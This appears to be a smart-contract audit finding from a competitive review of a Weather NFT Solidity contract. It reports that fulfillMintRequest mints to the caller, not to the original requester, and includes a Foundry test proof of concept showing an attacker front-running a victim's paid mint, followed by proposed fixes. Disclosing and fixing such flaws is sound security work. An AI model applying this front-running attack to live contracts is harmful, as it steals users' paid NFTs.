Weather Witness

First Flight #40
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Critical Authorization: Unauthorized NFT Minting Vulnerability

Description

In the fulfillMintRequest function, NFTs are minted to msg.sender without verifying if they are the original requester.

Risk

Severity: High
Likelihood: High

Summary

The minting function allows anyone to claim an NFT by front-running the original requester's transaction.

Vulnerability Details

Root Cause:

_mint(msg.sender, tokenId); // Mints to caller instead of original requester

Initial State:

  1. User A requests NFT minting and pays

  2. Weather data request is successful

  3. Response is pending fulfillment

Attack Scenario:

  1. User A requests mint with payment

  2. Oracle returns weather data

  3. Attacker monitors mempool

  4. Attacker front-runs fulfillment call

  5. NFT minted to attacker instead of User A

Proof of Concept

// Test demonstrating the vulnerability
function testMintingFrontrun() public {
// Setup
address attacker = address(0x1);
address victim = address(0x2);
uint256 mintPrice = weatherNft.s_currentMintPrice();
// Victim requests mint
vm.prank(victim);
bytes32 reqId = weatherNft.requestMintWeatherNFT{value: mintPrice}(
"123456",
"US",
false,
3600,
0
);
// Simulate oracle response
weatherNft.fulfillRequest(
reqId,
abi.encode(uint8(0)), // sunny weather
"" // no error
);
// Attacker front-runs fulfillment
vm.prank(attacker);
weatherNft.fulfillMintRequest(reqId);
// Assert: NFT minted to attacker
assertEq(weatherNft.ownerOf(1), attacker);
}

Impact

  • Stolen NFTs

  • Lost user funds

  • Compromised trust

  • Protocol reputation damage

Tools Used

  • Manual Review

Recommendations

  1. Implement proper authorization checks:

function fulfillMintRequest(bytes32 requestId) external {
UserMintRequest memory _userMintRequest = s_funcReqIdToUserMintReq[requestId];
require(msg.sender == _userMintRequest.user, "Not original requester");
// ...existing code...
_mint(_userMintRequest.user, tokenId); // Mint to original requester
}
  1. Alternative Implementation with Time Lock:

contract WeatherNft {
uint256 public constant CLAIM_WINDOW = 24 hours;
mapping(bytes32 => uint256) public mintClaimDeadline;
function fulfillMintRequest(bytes32 requestId) external {
// ...existing code...
mintClaimDeadline[requestId] = block.timestamp + CLAIM_WINDOW;
emit MintReadyToClaim(requestId, _userMintRequest.user);
}
function claimMint(bytes32 requestId) external {
UserMintRequest memory request = s_funcReqIdToUserMintReq[requestId];
require(msg.sender == request.user, "Not original requester");
require(block.timestamp <= mintClaimDeadline[requestId], "Claim window expired");
// Perform minting
_mint(msg.sender, s_tokenCounter++);
delete mintClaimDeadline[requestId];
}
}
Updates

Appeal created

bube Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Lack of ownership check in `fulfillMintRequest` function

There is no check to ensure that the caller of the `fulfillMintRequest` function is actually the owner of the `requestId`. This allows a malicious user to receive a NFT that is payed from someone else.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.